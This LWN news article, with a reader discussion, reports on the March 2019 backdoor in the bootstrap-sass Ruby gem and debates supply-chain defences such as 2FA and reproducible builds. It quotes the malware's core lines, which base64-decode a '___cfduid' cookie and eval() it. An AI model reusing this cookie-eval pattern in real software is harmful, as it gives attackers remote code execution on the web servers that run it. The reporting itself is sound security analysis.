|
|
Subscribe / Log in / New account

A backdoor in a popular Ruby gem

By Jake Edge
April 10, 2019

Finding ways to put backdoors into various programming-language package repositories (e.g. npm, PyPI, and now RubyGems) seems like it is becoming a new Olympic sport or something. Every time you turn around, there is a report of a new backdoor. It is now apparently Ruby's turn, with a new report of a remote-execution backdoor being inserted, briefly, into a popular gem that is installed by some sites using the Ruby on Rails web-application framework.

The bootstrap-sass gem provides a version of the Bootstrap mobile-centric JavaScript library for Sass environments. It can be easily added to web sites, so it is included in many. As with much of the web-application development today, these kinds of dependencies are often picked up automatically, built into cloud or container images, and deployed into production with little or no human supervision. Unfortunately, bootstrap-sass was backdoored by persons unknown in late March.

The backdoor was discovered quickly, less than a day after the release was made, according to a timeline in a Snyk blog post about the flaw. Version 3.2.0.2 of bootstrap-sass gem was removed from the RubyGems repository, presumably by the malicious actor(s), sometime prior to March 26. That was done to cause users to pick up a new version, 3.2.0.3, that was published on RubyGems on March 26. It contained the backdoor.

Later that day, Derek Barnes reported the problem to the bootstrap-sass GitHub issue tracker. Once it was reported, the malicious version was removed from RubyGems within an hour, but that did obviously provide a window of vulnerability. In addition, that window was accidentally extended for a week or so due to the way the gem was removed; the malicious version could still be specifically requested by its version number.

The backdoor code stands out fairly well, unlike some others, perhaps. As shown in the bug report, and described in the Snyk post, the backdoor lives in a bootstrap-sass file called lib/active-controller/middleware.rb. Looking at that code shows a few lines that look suspect even to programmers who do not know Ruby:

    x = Base64.urlsafe_decode64(e['http_cookie'.upcase].
               scan(/___cfduid=(.+);/).flatten[0].to_s)
    eval(x) if x

Even to an untrained eye, that would seem to be grabbing the value of a cookie sent over by the client, base64-decoding it, and then executing it with eval(). And, in fact, that is what's happening; the "__cfduid" cookie, which is normally only used by Cloudflare, is decoded and executed in the context of the web server. Actually, though, it is the "___cfduid" cookie that is being used by the malware (with three underscores, rather than two as in the Cloudflare cookie), presumably as a disguise of sorts.

Stepping back a bit, the code is only executed if the Rails application is running in production mode; it monkey patches the call method such that it does the cookie dance and then executes the original call method. Effectively, it inserts code received from the client directly in the path of handling its request. A comment on the bug report goes into some more detail of the backdoor code.

The best guess is that one of the two maintainers of the gem somehow had their RubyGems credentials compromised so that the attacker could update the package there (and "yank" the previous version to try to force "upgrades"). But, as Barnes described in his account of the discovery, the attacker could not update the GitHub repository to tag a version 3.2.0.3. They also could not issue the usual announcements of version updates. Apparently, and thankfully, the attacker only had credentials for RubyGems; the lack of credentials elsewhere kept them from covering their tracks better and, thus, alerted Barnes.

Moving forward, the maintainers of bootstrap-sass, Gleb Mazovetskiy and Thomas McDonald, have some suggestions on ways to make things more secure. For example, RubyGems does not keep a record of who pushed the malicious version, which means that there is no way to be sure which of the two maintainers lost control of their credentials. The multi-factor authentication (MFA) support could be improved as well.

In the grand scheme of things, this backdoor likely has a fairly low impact. As noted, the backdoor was found and fixed quickly but, for a little while, it did have the potential to wreak havoc on affected sites. It is a popular gem, but the version that was backdoored was not from the current 3.4.x branch; 3.2.0.2, which was the last good version before the compromise, was released in September 2014.

According to the RubyGems statistics, 3.2.0.2 has been downloaded 1.2 million times, while 3.2.0.3 with the backdoor has only been downloaded 1477 times and the fixed version, 3.2.0.4 (which is the same as 3.2.0.2), has been downloaded more than 1700 times. That version may have been popular a ways back, but it seems to have tapered down a fair ways. The most recent bootstrap-sass, 3.4.1, has been downloaded more than 250,000 times since its release in February.

Though this incident seems relatively minor, the next one may not be. As a community, we need to figure out ways to reduce these kinds of attacks. As long as there are wide swaths of the net that are pulling down lots of unvetted code and putting it into production without humans in the loop, those distribution mechanisms will continue to be attacked. Securing those mechanisms will go a long way toward stopping the next web-application backdoor. But we also need to ensure that the components we are using are still maintained, lest we replay the event-stream incident. There is much to do even though it seems like we have been working on it for decades.


Index entries for this article
SecurityBackdoors
SecurityWeb frameworks


to post comments

A backdoor in a popular Ruby gem

Posted Apr 10, 2019 21:27 UTC (Wed) by david.a.wheeler (subscriber, #72896) [Link] (40 responses)

I'm glad that relatively few people downloaded the subverted gem. That said, there's clearly room to improve. Here are some thoughts:

  1. It appears that an attacker got the RubyGems credentials of a maintainer. Encouraging use of 2FA for updating packages would greatly reduce this risk in general and might have completely countered this attack. I’ll note that the CII best practices badge project (which I lead) requires this at the gold level, see: require_2FA
  2. The attackers subverted the distributed package on RubyGems without first posting the corresponding source code in its official source code repository on GitHub. That’s a big red flag. I believe package repositories should verify that code distributed can be reproducibly regenerated from its putative source. Such an approach would have prevented this attack, and also made the previous “event-stream” incident far more visible than it was. They don't need to change their inputs; accept a build, and check that the regenerating the build will produce the same thing. Package distribution systems could make it possible to enable this on a per-package basis, so this can be done incrementally. It will take a while to make this happen, but the first step is to agree to work towards it. For more about reproducibility, see the reproducible-builds.org website.

More about countermeasures

Posted Apr 10, 2019 22:04 UTC (Wed) by david.a.wheeler (subscriber, #72896) [Link]

I've extended my previous comment in Subversion of bootstrap-sass.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 3:28 UTC (Thu) by NYKevin (subscriber, #129325) [Link] (37 responses)

Re #2: I strongly agree that reproducible builds are, in general, a very good thing.

However, applying reproducible builds to a free-for-all package repository like RubyGems, in practice, seems like it would be challenging. At a minimum, you would have to impose these restrictions on projects using reproducible builds ("reproducible projects"):

  1. RubyGems has to integrate with GitHub, and at least a half dozen smaller services-that-are-not-GitHub, or else force all reproducible projects onto GitHub. This may sound trivial, but it's a deal-breaker for the likes of the FSF.
  2. A standardized build process that every reproducible project uses, with no exceptions allowed, and probably with some restrictions on extensions and modifications to the build process.
  3. A standardized set of dependencies that reproducible projects' build processes are allowed to use, with no exceptions allowed.
  4. A standardized sandboxed environment in which the builds may be run without endangering the service as a whole.
  5. That sandbox is kept up-to-date (at least in terms of security vulnerabilities), but we must not alter the output of any builds. So the build's interaction with the sandbox, and with other software running in the sandbox if any, must be very carefully circumscribed to prevent it from behaving differently in response to updates.

Then, once you've finished specifying the above requirements (and #5 in particular is going to be an interesting circle to square), you have to persuade maintainers to put up with the above restrictions. This is despite the fact that they get rather nebulous benefits out of the whole thing, as do their end users. Barring some centralized organization mandating this work, I just don't see how it gets done.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 6:23 UTC (Thu) by eru (subscriber, #2753) [Link] (2 responses)

You are describing a "CI" setup for reproducible builds. That can actually also be a carrot for developers involved in large code bases like browsers or LibreOffice, where building on the developers desktop might take hours.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 6:36 UTC (Thu) by nilsmeyer (guest, #122604) [Link] (1 responses)

Though it can be said the compute capacity already exists and is paid for on the developers workstation while the funds to pay for it again on the other end have to be organized.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 7:18 UTC (Thu) by roc (subscriber, #30627) [Link]

Developer workstations are incredibly inefficient. For a big project like Firefox you need lots of cores to make the build latency tolerable, but then they're mostly idle.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 8:24 UTC (Thu) by nim-nim (subscriber, #34454) [Link] (27 responses)

All the hype about reproducible builds is perfectly pointless without an upgrade and merge-back strategy.

You end up with ”reproducible” systems that forbid you to apply any quick fix to third party code while upstream is busy somewhere else (because that would break the notary hash), forcing you to fork and rename everything.

Fast forward a few years no one is using the same fork, not two forks have the same fixes, the only thing the reproducible setup can vouch for is that each build is a one of a kind, that does not share any component with anything else. But, each component has not been modified since its download from fork source (hurrah! the internet notary vouches your backdoored download matches the original badware commit). CVEs to original third party projects may apply (or not), who knows, it's a perfect mess.

Code is not something that can be frozen, it needs to evolve (because no code is bug-free and the code environment and security state of the art *will* evolve), none of the reproducibility efforts I know of take this necessary evolution into account.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 8:26 UTC (Thu) by Cyberax (✭ supporter ✭, #52523) [Link] (21 responses)

> You end up with ”reproducible” systems that forbid you to apply any quick fix to third party code while upstream is busy somewhere else (because that would break the notary hash), forcing you to fork and rename everything.
Uhh... What? You apply fixes just like everywhere else, by making a patch to a fixed version of the package.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 9:03 UTC (Thu) by nim-nim (subscriber, #34454) [Link] (20 responses)

You've visibly not encountered the latest advancements in reproducibility (lucky you).

The latest iterations of the concept refuse, at the compiler level, to build anything that uses non reproducible third-party sources. Third-party is any code you reuse in your project, it can even be your own bleeding edge code, if it's published as another component, is not totally solid yet, and needs some small short-term adjustments to be reused.

They define reproducible as "source code hash, patches included, match the hash computed by a notary robot that attempted to download the code at some unknown point of time".

So basically the only way to patch anything is to create a new project, with a new name, at a new URL, upload all your changes here, so the notary robot can vouch you are indeed using the patched code published there. And the notary will happily vouch any code hash is good, as long as it matches its download (so if it downloads at a time the code repository was holed, it will vouch all the holed versions are good).

Of course once you've gone to the effort to produce a full-fledged fork, you have zero interest left in merging back anything.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 14:03 UTC (Thu) by david.a.wheeler (subscriber, #72896) [Link]

So basically the only way to patch anything is to create a new project, with a new name, at a new URL, ...

[citation needed]. I think you're misunderstanding things.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 17:15 UTC (Thu) by Cyberax (✭ supporter ✭, #52523) [Link] (2 responses)

> You've visibly not encountered the latest advancements in reproducibility (lucky you).
I have.

> They define reproducible as "source code hash, patches included, match the hash computed by a notary robot that attempted to download the code at some unknown point of time".
Uh, this is incorrect. Debian uses regular packages for reproducible builds. A system I worked on used internal repositories.

You simply need a way to recreate the build environment exactly. No notary robots need or anything.

A backdoor in a popular Ruby gem

Posted Apr 12, 2019 12:59 UTC (Fri) by nim-nim (subscriber, #34454) [Link] (1 responses)

Debian is not the only entity working on reproducible builds and it does not own the concept.

A backdoor in a popular Ruby gem

Posted Apr 12, 2019 18:41 UTC (Fri) by david.a.wheeler (subscriber, #72896) [Link]

Debian certainly doesn't own the concept, that's true. But Debian also doesn't require that you create a new project for every patch, even with reproducible builds. It's simply not true that reproducible builds require the creation of a new project for every patch. Reproducible builds simply give you a way to verify that the binary and source correspond given a build toolsuite. That's a big improvement over "trust us" - you can now "trust but verify".

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 21:11 UTC (Thu) by hmh (subscriber, #3838) [Link] (11 responses)

Where did you find this? Who are "them"?

Because that sort of definition really reeks of enterprise-grade supply chain hardening, gone subtly wrong. Or not so subtly.

A backdoor in a popular Ruby gem

Posted Apr 12, 2019 13:14 UTC (Fri) by nim-nim (subscriber, #34454) [Link] (10 responses)

Close but no hit

https://go.googlesource.com/proposal/+/master/design/2553...

The consequence of this design is that any change to sources (ie patching to fix bugs or security issues) requires setting up a new project, since obviously you can not push your patches to the original project (if you could you would not need patching in the first place), and any patch will invalidate the notary attestation checked by the compiler.

A backdoor in a popular Ruby gem

Posted Apr 12, 2019 15:14 UTC (Fri) by hmh (subscriber, #3838) [Link]

Ah, golang.

Thanks for the link, I have to digest that proposal document before commenting any further.

Go notary proposal

Posted Apr 13, 2019 3:26 UTC (Sat) by skybrian (guest, #365) [Link] (7 responses)

This proposal looks like it's all about authenticating downloads using "go get". It doesn't say that the Go compiler will be checking anything or that you can't modify the code after it was downloaded? I didn't see any mention of the Go compiler.

Go notary proposal

Posted Apr 13, 2019 9:20 UTC (Sat) by nim-nim (subscriber, #34454) [Link] (6 responses)

`go get` and `go build` are deeply imbricated, `go build` builds things from the local project and a cache populated by `go get` (and can trigger `go get` calls during the build process). If `go get` does not accept something, basically, you can not build against this something in go.

Go notary proposal

Posted Apr 13, 2019 9:40 UTC (Sat) by nim-nim (subscriber, #34454) [Link] (5 responses)

To be clearer: in module mode (which will become the default in Go in August) the compiler only knows about the current module it is working on. Every other module the current module needs is taken from a cache. The cache is populated by "go get". Doing a local fix of a module, to use in other modules, therefore, becomes a "publish it for go get" operation, notary checks included.

Go notary proposal

Posted Apr 13, 2019 9:46 UTC (Sat) by Cyberax (✭ supporter ✭, #52523) [Link] (4 responses)

Go modules support replacing, allowing you to use local forks. go get is not at all required.

Go notary proposal

Posted Apr 13, 2019 13:41 UTC (Sat) by nim-nim (subscriber, #34454) [Link] (3 responses)

And that amounts to `forcing you to fork and rename everything`, as I wrote in my original message.

Go notary proposal

Posted Apr 13, 2019 13:43 UTC (Sat) by nim-nim (subscriber, #34454) [Link] (2 responses)

Besides, with replaces you can not even share your fixed fork within your builds, you need to add a replace directive to every single app, that uses the component requiring patching

Go notary proposal

Posted Apr 13, 2019 14:21 UTC (Sat) by Hattifnattar (subscriber, #93737) [Link]

I never worked with Go, but my impression was that Go designers generally like to put the coder in a straitjacket.
(For a really funny review of Go, see https://www.evanmiller.org/four-days-of-go.html).

So this begs the question: are these problems and inconveniences just some "Go things", or this is a general requirement for anybody trying to implement stable builds?

Go notary proposal

Posted Apr 15, 2019 11:19 UTC (Mon) by ms (subscriber, #41272) [Link]

Yeah, this is currently true because "replace" is only honoured in the main module. And you can't even have a go.mod file include another go.mod-style file so you can't do convenient hacks using eg symlinks. Which means your "build" system is going to have to include random set of "go mod edit" commands, or you start messing with stuff like gohack.

They do seem to have admitted the design has a number of holes in it. I'm not aware of the rate of progress addressing said holes....

A backdoor in a popular Ruby gem

Posted Apr 15, 2019 9:31 UTC (Mon) by cyphar (subscriber, #110703) [Link]

I'm not a fan of Go (despite having been developing with it for the past ~6 years), but I would like to point out that this isn't a new problem with Go -- nor is it really related to reproducible builds (other than the fact that Go's builds are reproducible).

The proposal you've linked is talking about effectively adding more checks to go.sum to make it so that go.sum hashes need to be signed by a notary. There are definitely some concerns I have about how this probably would break the Debian "Deserted Island" test for free software, and how it entrenches Google as being central to you being able to build Go code (though they say there will be other notaries managed by other people) -- rather than providing some way for the module author to control the signing of their module hashes.

But this doesn't make patching any more difficult than it has been in the past. Outside of vendor/, Go has always made patching exceptionally painful (even pre-modules). And while you could patch vendor/, that's been considered a Very Bad Idea™ for quite a while. Obviously if you need to do it for a private build you can (and in the case of Go modules you could do it with "go mod vendor"), but publishing code that patches vendor/ in that way has been considered a bad practice for quite a long time.

It's also not related to reproducible builds because the go.sum hashes are the hashes of the source code, not binaries (so the reproducibility of Go is not relevant to the system being proposed).

Who is "them"?

Posted Apr 11, 2019 23:13 UTC (Thu) by david.a.wheeler (subscriber, #72896) [Link] (3 responses)

I have no idea what you're talking about.

I didn't find anything like that on Google.

The front page of https://reproducible-builds.org/ instead says: "Reproducible builds are a set of software development practices that create an independently-verifiable path from source to binary code." No notaries, no requirements that require you to change the universe to release a new patch.

Again: citation needed. I think you have a misunderstanding of what the reproducible builds folks are trying to do. That's no crime, but I suggest checking it out further.

Who is "them"?

Posted Apr 12, 2019 13:04 UTC (Fri) by nim-nim (subscriber, #34454) [Link] (2 responses)

And an independently-verifiable path can and has been implemented via notary robots, that perform the independant verification.

Who is "them"?

Posted Apr 12, 2019 18:16 UTC (Fri) by Cyberax (✭ supporter ✭, #52523) [Link] (1 responses)

Why do you need notaries at all?

Who is "them"?

Posted Apr 13, 2019 9:23 UTC (Sat) by nim-nim (subscriber, #34454) [Link]

The notaries automate the independant versification. And I need them, because the people writing the language spec felt they needed them.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 13:31 UTC (Thu) by robbe (guest, #16131) [Link] (4 responses)

I fail to grasp what reproducible builds will prevent you from doing.

If I use dependency X in my project (be it libfoo, or gembar, or whatever), any deployment needs to get X from somewhere: either grab the source and build it yourself, or get a pre-built package (say from rubygems.org).

If X has bugs that I want fixed, but X’s upstream is slow to incorporate these (or totally MIA), I can fork off X′. But I can neither force it into the source repository of X nor replace X on rubygems.org with my X′. I can of course upload X′ to rubygems as a different package.

Reproducibe builds changes nothing on that front.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 20:11 UTC (Thu) by NAR (subscriber, #1313) [Link] (3 responses)

Reproducible builds enable checking that the released package (gem, etc.) was indeed generated from the tagged version in GitHub/GitLab/etc. As far as I understand, in this backdooring case only the released package was modified, not the source, so an automated check on the site hosting the packages could have caught this issue before anyone downloaded the backdoored package.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 23:27 UTC (Thu) by david.a.wheeler (subscriber, #72896) [Link] (2 responses)

> Reproducible builds enable checking that the released package (gem, etc.) was indeed generated from the tagged version in GitHub/GitLab/etc. As far as I understand, in this backdooring case only the released package was modified, not the source, so an automated check on the site hosting the packages could have caught this issue before anyone downloaded the backdoored package.

Exactly right. In this case, requiring a reproducible build would have completely prevented the problem, since the attacker appears to have not had rights to the corresponding GitHub account.

But even if the attacker *had* control over the GitHub account, this check would have prevented *hidden* changes not visible in the official source repo. Instead, the exact changes would have to be directly and publicly visible (if the repo is public). While that doesn't *prevent* an attack, it does make the attack immediately visible.

> If I use dependency X in my project (be it libfoo, or gembar, or whatever), any deployment needs to get X from somewhere: either grab the source and build it yourself, or get a pre-built package (say from rubygems.org).

> If X has bugs that I want fixed, but X’s upstream is slow to incorporate these (or totally MIA), I can fork off X′. But I can neither force it into the source repository of X nor replace X on rubygems.org with my X′. I can of course upload X′ to rubygems as a different package.

That's true, but not the point.

The problem is that it's easy to put a package on distribution site (like RubyGems) that is *supposed* to correspond to some source code, but doesn't actually correspond. Most people would assume that Rubygems gem xyzzy version 1.2.3.4 was generated from xyzzy's official source repo (wherever that is), but no mechanism today actually ensures that. It's all honor system. Which works until there's an attacker.

Reproducible builds simply let you confirm that a given compiled package of some package P corresponds to its putative source code. They don't guarantee there is no malicious code... but they do guarantee that if there's malicious code, it comes from either the source or the underlying system used to build it. (If you're worried about the latter point, my Diverse Double-Compiling approach will counter that, but let's get reproducible builds first.)

You can still use X' if you want. If you have your own source, you can just build it yourself. However, very few people rebuild *EVERY* package. Most people use a lot of precompiled packages. Reproducible builds simply let you confirm that the precompiled packages you use correspond to their source code (if the build tools are not malicious). And that's a significant improvement.

A backdoor in a popular Ruby gem

Posted Apr 12, 2019 10:05 UTC (Fri) by NAR (subscriber, #1313) [Link] (1 responses)

However, very few people rebuild *EVERY* package. Most people use a lot of precompiled packages.

I think it depends on the language and ecosystem. For Erlang the most common way to get dependencies to fetch the sources from GitHub. For Elixir it looks like source files are downloaded from hex.pm (and compiled once). I don't know about ruby though.

A backdoor in a popular Ruby gem

Posted Apr 12, 2019 18:43 UTC (Fri) by david.a.wheeler (subscriber, #72896) [Link]

Fair enough. If you're doing anything other than directly fetching from the source distribution (e.g., GitHub), then it makes sense to ensure it's a reproducible build.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 13:59 UTC (Thu) by david.a.wheeler (subscriber, #72896) [Link] (5 responses)

> However, applying reproducible builds to a free-for-all package repository like RubyGems, in practice, seems like it would be challenging. At a minimum, you would have to impose these restrictions on projects using reproducible builds ("reproducible projects"):

> 1. RubyGems has to integrate with GitHub, and at least a half dozen smaller services-that-are-not-GitHub, or else force all reproducible projects onto GitHub. This may sound trivial, but it's a deal-breaker for the likes of the FSF.

It'd need to support multiple services, but that's easy. The "integration" for a distribution service is really just downloading from the repo (e.g., "git clone") when it receives a new module to distribute, rerunning the build instructions, and confirming that the results are identical. You don't need to support hooks or anything.

> A standardized build process that every reproducible project uses, with no exceptions allowed, and probably with some restrictions on extensions and modifications to the build process.

No, you just need a standardized way to invoke whatever build process is provided by the project. If the build process isn't part of the project, then you need to fix that anyway.

> A standardized set of dependencies that reproducible projects' build processes are allowed to use, with no exceptions allowed.

Not at all. The project just needs to specify its dependencies, and then the build process uses those. The goal is to be able to reproduce a project's build result, not force all projects to use the same thing.

> A standardized sandboxed environment in which the builds may be run without endangering the service as a whole.

You really only need to allow projects to *specify* the sandboxed environment (and check in that specification into the project). Different projects don't need to use the same one. There's no reason different projects need to use the exact same environment, and different versions of a project's results could use different environments too. It's just that when you're reproducing a *particular* version you need to know which environment.

> That sandbox is kept up-to-date (at least in terms of security vulnerabilities), but we must not alter the output of any builds. So the build's interaction with the sandbox, and with other software running in the sandbox if any, must be very carefully circumscribed to prevent it from behaving differently in response to updates.

Um, no. The sandbox is what it is. It might be okay to make an exception for the OS kernel (Linux), but otherwise, any "keep up to date" may change the result, so you update the sandbox as part of updating the build process. If the sandboxed build environment can inject vulnerabilities (malicious code) into the build result, then you need to release a new version.

Make it easy, not hard, and make it easy to do in stages. Otherwise no one will do it.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 17:02 UTC (Thu) by NYKevin (subscriber, #129325) [Link] (3 responses)

> If the sandboxed build environment can inject vulnerabilities (malicious code) into the build result, then you need to release a new version.

No go. RubyGems has to protect itself against hostile projects. You cannot push this back onto those projects, because they are untrusted.

Sandboxing

Posted Apr 11, 2019 23:36 UTC (Thu) by david.a.wheeler (subscriber, #72896) [Link] (2 responses)

> > If the sandboxed build environment can inject vulnerabilities (malicious code) into the build result, then you need to release a new version.

> No go. RubyGems has to protect itself against hostile projects. You cannot push this back onto those projects, because they are untrusted.

RubyGems currently completely and totally trusts all projects that send data to it. If a project says, "here is my package xyz version 1.2.3" then if the login is correct RubyGems says "sure" and redistributes it to everyone. That's obviously easy to implement, but it means there's no verification that the package actually *is* a compiled version as claimed.

The alternative mooted here is that RubyGems tells some service "please rebuild package xyz version 1.2.3 and send me its cryptographic hash". That external service would be something like CircleCI or TravisCI (something already designed to run externally-provided programs and produce results). If the returned hash is the same as the hash of the file provided, all is well, otherwise there's a problem that needs to be fixed. RubyGems could even provide the rebuilt file to help debug it.

It could be third parties instead of RubyGems itself, but that might create a big window of time where the correspondence was not checked.

Sandboxing

Posted Apr 12, 2019 4:20 UTC (Fri) by NYKevin (subscriber, #129325) [Link] (1 responses)

> If the returned hash is the same as the hash of the file provided,

I was not aware that TravisCI and friends made that guarantee. It sounds like it would be a difficult promise to keep.

Sandboxing

Posted Apr 12, 2019 18:38 UTC (Fri) by david.a.wheeler (subscriber, #72896) [Link]

Travis doesn't make the promise. Travis simply runs the build and can return its results. You can then compare the new build with the old build. The build might include malicious steps... but now you can review the source (including any build instructions) instead of blindly trusting that a precompiled package is the same thing.

A backdoor in a popular Ruby gem

Posted Apr 11, 2019 20:28 UTC (Thu) by mathstuf (subscriber, #69389) [Link]

> The "integration" for a distribution service is really just downloading from the repo (e.g., "git clone") when it receives a new module to distribute

An improvement would be to fetch it from one of the wonderful software archives we've had articles about here (Software Heritage among others). If it isn't in there, submit it and then build from that.

A backdoor in a popular Ruby gem

Posted Apr 20, 2019 5:56 UTC (Sat) by njs (subscriber, #40338) [Link]

Reproducible builds are a great thing, but they're not the first step I'd take.

If RubyGems switched to a model where you gave it the VCS tag, and then it used that to build the distributed artifacts itself, then that would already get the main guarantee, without any reproducible builds infrastructure. This is strictly simpler than your proposal, since you also require that RubyGems build the artifacts itself.

Once you have that, adding reproducible builds on top would add some value: it would let third-parties validate that the RubyGems build infrastructure hasn't been compromised. This would certainly be a nice capability to have, but it's not really the first priority. (Everyone who downloads from RubyGems already trusts the RubyGems infrastructure in lots of ways!)

A backdoor in a popular Ruby gem

Posted Apr 13, 2019 19:12 UTC (Sat) by robert_s (subscriber, #42402) [Link] (2 responses)

Newsflash: wild-west package repositories are not to be trusted.

A backdoor in a popular Ruby gem

Posted Apr 15, 2019 15:54 UTC (Mon) by k8to (guest, #15413) [Link]

I think the question I have about articles like this is what does a package repo that is not the wild west look like?

A backdoor in a popular Ruby gem

Posted Apr 15, 2019 15:57 UTC (Mon) by flussence (guest, #85566) [Link]

It's a sad state of affairs. One would think some lessons would be learned after the first 50 or so high profile incidents like this.

So… which language ecosystems (if any) *have* bothered to learn? I've seen a few attempts at papering over the multiple-upstreams-single-package problem which could only generously be described as “advisory security”.


Copyright © 2019, Eklektix, Inc.
This article may be redistributed under the terms of the Creative Commons CC BY-SA 4.0 license
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds